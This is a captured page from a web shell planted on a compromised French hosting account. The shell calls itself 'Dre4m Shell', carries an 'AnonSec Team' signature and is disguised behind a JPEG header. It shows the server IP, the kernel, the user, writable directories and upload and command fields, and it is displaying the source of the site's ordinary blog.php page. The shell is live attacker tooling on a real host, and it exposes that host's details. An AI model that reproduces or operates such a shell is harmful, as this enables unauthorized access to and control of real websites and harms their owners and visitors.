ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/ab-location-services.fr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/ab-location-services.fr//blog.php
<?php
/*
  +--------------------------------------------------------------+
  | Html5 - Php 5.4 - CSS 3 - Responsive design - Bootstrap      |
  +--------------------------------------------------------------+
  | PDO - TPL Smarty - CloudFlare                                |
  +--------------------------------------------------------------+
  | Copyright (c) Jean Pierre Fonteneau                          |
  | Pictomanie.com - contact@diabolofraise.com                   |
  | Formule : Strawberry Multi-thèmes Muti-langues               |
  +--------------------------------------------------------------+
  | Version : Strawberry V4.1 - Template : base                  |
  +------------------------------------------------------------- +
*/

  // Chargement fichiers de configuration...
  require('includes/thema_get.php');
  require('libs/Smarty.class.php');
  require('includes/webzone.php');

  // Démarrage du moteur TPL...
   $smarty = new Smarty;

  // Chargement des Fonctions Globals...
   include(DIR_WS_INCLUDES . 'session_start.php');
   require('fonctions.php');

 // Controle si le site est en mise à jour... 
 if (($maintenance_on < '1') and ($no_maintenance < '1'))  { header("location:maintenance.php"); }

 // Recherche Bottom... 
    $list = get_select_2(array('table'=>'fixed_pages', 'where1'=>'name', 'where2'=>'"Bottom"', 'where3'=>'langue', 'where4'=>'"' . $language . '"'));
    $smarty->assign("status_bottom_on", $list[0]['status']);
    $smarty->assign("bottom", $list[0]['content']);
 
 
 
 // Page fixe ...
    $categorie ="16";
    $smarty->assign("language", $language);

    $list = get_select_2(array('table'=>'fixed_pages', 'where1'=>'categorie', 'where2'=>'"' . $categorie . '"', 'where3'=>'langue', 'where4'=>'"' . $language . '"'));
    $slide = $list[0]['slideshow'];
    $advert = $list[0]['advertising'];
    
    $milieu_picture= $list[0]['milieu'];
    $smarty->assign("milieu_picture", $milieu_picture);
 
    $milieu_picture3= $list[0]['milieu3'];
    $smarty->assign("milieu_picture3", $milieu_picture3);

    
     $content= $list[0]['content'];
     $content = str_replace ( 'target="_blank"' , 'onclick="window.open(this.href); return false;"' , $content); 
     $content = str_replace ( 'target="_parent"' , 'rel="prettyPhoto" ' , $content); 
     $content = str_replace ( 'href="#lirelasuite"' , 'onclick="document.getElementById(\'lirelasuite\').style.display = \'block\'; this.style.display = \'none\';"' , $content); 
     $content = str_replace ( 'href="#lirelasuite2"' , 'onclick="document.getElementById(\'lirelasuite2\').style.display = \'block\'; this.style.display = \'none\';"' , $content); 
     $content = str_replace ( 'href="#lirelasuite3"' , 'onclick="document.getElementById(\'lirelasuite3\').style.display = \'block\'; this.style.display = \'none\';"' , $content); 
     $content = str_replace ( 'href="#lirelasuite4"' , 'onclick="document.getElementById(\'lirelasuite4\').style.display = \'block\'; this.style.display = \'none\';"' , $content); 
     $smarty->assign("content", $content);

     $content3= $list[0]['content3'];
     $content3 = str_replace ( 'target="_blank"' , 'onclick="window.open(this.href); return false;"' , $content3); 
     $content3 = str_replace ( 'target="_parent"' , 'rel="prettyPhoto" ' , $content3); 
     $content3 = str_replace ( 'href="#lirelasuite"' , 'onclick="document.getElementById(\'lirelasuite\').style.display = \'block\'; this.style.display = \'none\';"' , $content3); 
     $content3 = str_replace ( 'href="#lirelasuite2"' , 'onclick="document.getElementById(\'lirelasuite2\').style.display = \'block\'; this.style.display = \'none\';"' , $content3); 
     $content3 = str_replace ( 'href="#lirelasuite3"' , 'onclick="document.getElementById(\'lirelasuite3\').style.display = \'block\'; this.style.display = \'none\';"' , $content3); 
     $content3 = str_replace ( 'href="#lirelasuite4"' , 'onclick="document.getElementById(\'lirelasuite4\').style.display = \'block\'; this.style.display = \'none\';"' , $content3); 
     $smarty->assign("content3", $content3);
 
    $smarty->assign("slide", $list[0]['slideshow']);
    $smarty->assign('list',$list);

// Facebook partage   // Facebook partage   
    $img_facebook= $list[0]['img_facebook'];
    if ($img_facebook==''){  $img_facebook=$Image_facebook_defaut; $dossier_faceb = DOS_THEMES ."images/"; } else { $dossier_faceb = "uploadfiles/advertisings/partage/"; $img_facebook=$img_facebook; }

    $url_img_faceb = $dossier_faceb . $img_facebook;
    $smarty->assign("img_facebook", $url_img_faceb);
    
 
 
 
 /*********************************************************************************/

 //   $smarty->assign("title_page", $list[0]['title']);
	
$title_page = $list[0]['title'];

// si tu stockes des entités HTML dans la base
if (strpos($title_page, '&') !== false) {
  $title_page = html_entity_decode($title_page, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

// Remet en UTF-8 si la chaîne n'est pas UTF-8 (cas latin1)
if (!mb_check_encoding($title_page, 'UTF-8')) {
  $title_page = mb_convert_encoding($title_page, 'UTF-8', 'ISO-8859-1');
}

// Sécurité : si un ? traîne, on tente une "récup" latin1->utf8
if (strpos($title_page, "?") !== false) {
  $title_page = mb_convert_encoding($title_page, 'UTF-8', 'ISO-8859-1');
}
$smarty->assign("title_page", $title_page);	
	
	
	
	
	
	
	
	
	
	

                                  $meta_desc = $list[0]['meta_desc'];
                                  $meta_desc = html_entity_decode($meta_desc, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $meta_desc = fix_mojibake($meta_desc);                        
                                  $smarty->assign("meta_description", $meta_desc);
    
    
                                  $meta_keywords = $list[0]['meta_keywords'];
                                  $meta_keywords = html_entity_decode($meta_keywords, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $meta_keywords = fix_mojibake($meta_keywords);                        
                                  $smarty->assign("meta_keywords", $meta_keywords); 
                                  
                                  
/*********************************************************************************/
                                  $og_title = $list[0]['title'];
                                  $og_title = html_entity_decode($og_title, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $og_title = fix_mojibake($og_title);                                  
                                  $smarty->assign("og_title", $og_title);
                                  

                                  
                                  $og_description = $list[0]['meta_desc'];
                                  $og_description = html_entity_decode($og_description, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $og_description = fix_mojibake($og_description);                                  
                                  $smarty->assign("og_description", $og_description);


 
                                  $twitter_title = $list[0]['title'];
                                  $twitter_title = html_entity_decode($twitter_title, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $twitter_title = fix_mojibake($twitter_title);                                  
                                  $smarty->assign("twitter_title", $twitter_title);
                                  

                                  
                                  $twitter_description = $list[0]['meta_desc'];
                                  $twitter_description = html_entity_decode($twitter_description, ENT_QUOTES | ENT_HTML5, 'UTF-8');
                                  $twitter_description = fix_mojibake($twitter_description);                                  
                                  $smarty->assign("twitter_description", $twitter_description);

/*********************************************************************************/
 
  $title_p = $list[0]['title'];
  
  $share_name = str_replace ( ' ' , '&nbsp;' , $title_p);   
  $share_name = str_replace ( '|' , '' , $share_name);   
  $smarty->assign("share_seo", 'blog');
  $smarty->assign("share_name", $share_name);

// chemin de fer
    $chemin_2 = $list[0]['name'];
    $chemin_2 = ucfirst(strtolower($chemin_2));
    $chemin_de_fer = '<i class="fa fa-home"></i>&nbsp;' . $chemin_2;
    $smarty->assign('chemin_de_fer',$chemin_de_fer);

 // Adversiting Pub...
$smarty->assign('advert',$advert);
   if (($advertisings_on > 0) and ($advert > 0)){
   
   $list = get_select_2(array('table'=>'advertising_pictures', 'where1'=>'advertising', 'where2'=>'"' . $advert. '"', 'where3'=>'langue', 'where4'=>'"' . $language . '"', 'order'=>'position'));
       $posit_adv = $list[0]['position'];
       $pict_adv = $list[0]['picture'];$smarty->assign("on_picture_advertising", $pict_adv);    
       $smarty->assign('advertising',$list);
}
 
 // Slideshows Pub...
  if (($slideshows_on > 0) and ($slide > 0)){
  $list = get_select(array('table'=>'slideshows', 'where1'=>'categorie', 'where2'=>'"'.$slide.'"'));
       $type = $list[0]['type'];$smarty->assign("picture_type", $type);
       $animation = $list[0]['animation'];$smarty->assign("animation", $animation);

  $list = get_select_2(array('table'=>'slideshow_pictures', 'where1'=>'slideshow', 'where2'=>'"' . $slide. '"', 'where3'=>'langue', 'where4'=>'"' . $language . '"', 'order'=>'position'));
    $pict = $list[0]['picture'];$smarty->assign("on_picture_slideshow", $pict);
    $smarty->assign('slideshow',$list);
    if ($list[0]['position'] < '2') { $pole_video = $list[0]['video']; }
    $smarty->assign('pole_video',$pole_video);
}
/*******************************************************************/


////////////////////////////////////////////////


$sql = $GLOBALS['bdd']->query('SELECT * FROM blog 
	WHERE status = 1 
	ORDER BY position');

$result = $sql->fetchAll();

  $smarty->assign("pictures", $result);


    // Affichage.
  $smarty->display('blog.tpl');
?>  

Anon7 - 2022
AnonSec Team